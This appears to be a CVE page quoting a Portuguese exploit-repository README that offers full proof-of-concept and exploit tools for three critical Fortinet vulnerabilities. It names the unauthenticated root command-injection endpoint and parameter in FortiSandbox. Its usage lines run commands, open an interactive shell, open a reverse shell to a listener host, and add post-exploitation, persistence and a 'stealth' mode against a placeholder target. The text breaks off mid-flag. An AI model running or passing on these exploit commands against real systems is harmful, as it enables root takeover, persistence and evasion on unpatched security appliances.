Critical Severity
CVE-2026-39808
Published: Nov 2, 2026
PoC e Exploits completos para CVE-2026-39808 (FortiSandbox RCE), CVE-2026-106173 (FortiSIEM gRPC Path Traversal RCE) e CVE-2026-107656 (FortiSandbox Auth Bypass) - CVSS 9.6-9.8
# Fortinet Critical CVEs 2026 - PoC & Exploits
> By Gh0st-Bx1 | [github.com/Ghost-Bx1](https://github.com/Ghost-Bx1)
Colecao de provas de conceito (PoC) e exploits completos para tres vulnerabilidades criticas da Fortinet divulgadas em outubro de 2026. Todas com CVSS >= 9.4, duas delas exploradas ativamente in-the-wild.
---
## Vulnerabilidades
| CVE | Produto | Tipo | CVSS | Status |
|---|---|---|---|---|
| CVE-2026-39808 | FortiSandbox 4.4.0-4.4.8 | OS Command Injection (sem auth) | 9.8 | CISA KEV - explorado in-the-wild |
| CVE-2026-106173 | FortiSIEM 7.5.0 | gRPC Path Traversal -> RCE (sem auth) | 9.8 | PoC publico (Horizon3.ai) |
| CVE-2026-107656 | FortiSandbox 5.0.0-5.0.6 | Authentication Bypass (CWE-288) | 9.6 | Nenhuma exploracao confirmada |
---
## CVE-2026-39808 - FortiSandbox OS Command Injection
**Produto afetado:** FortiSandbox 4.4.0 - 4.4.8
**CVSS:** 9.8 (NVD) | Advisory: FG-IR-26-100
**Status:** CISA KEV - 49+ IPs maliciosos ativos
O endpoint `/fortisandbox/job-detail/tracer-behavior` nao sanitiza o parametro GET `jid`, permitindo injecao de comandos OS via pipe (`|`). A saida e armazenada em `/web/ng/test.txt` e recuperavel via HTTP. Execucao ocorre como **root** sem qualquer autenticacao.
**Versao corrigida:** FortiSandbox 4.4.9+
### PoC
```bash
python CVE-2026-39808/poc.py -u https://alvo.com
python CVE-2026-39808/poc.py -u https://alvo.com --cmd "id;uname -a"
```
### Exploit
```bash
# Execucao de comando
python CVE-2026-39808/exploit.py -u https://alvo.com -c "id"
# Shell interativo
python CVE-2026-39808/exploit.py -u https://alvo.com --shell
# Shell reverso (iniciar listener antes: nc -lvnp 4444)
python CVE-2026-39808/exploit.py -u https://alvo.com --reverse-shell --lhost 10.0.0.1 --lport 4444
# Completo com pos-exploit e persistencia
python CVE-2026-39808/exploit.py -u https://alvo.com -c "id" --post-exploit --output-json resultado.json
# Stealth + rate limit
python CVE-2026-39808/exploit.py -u https://alvo.com -c "id" --stealt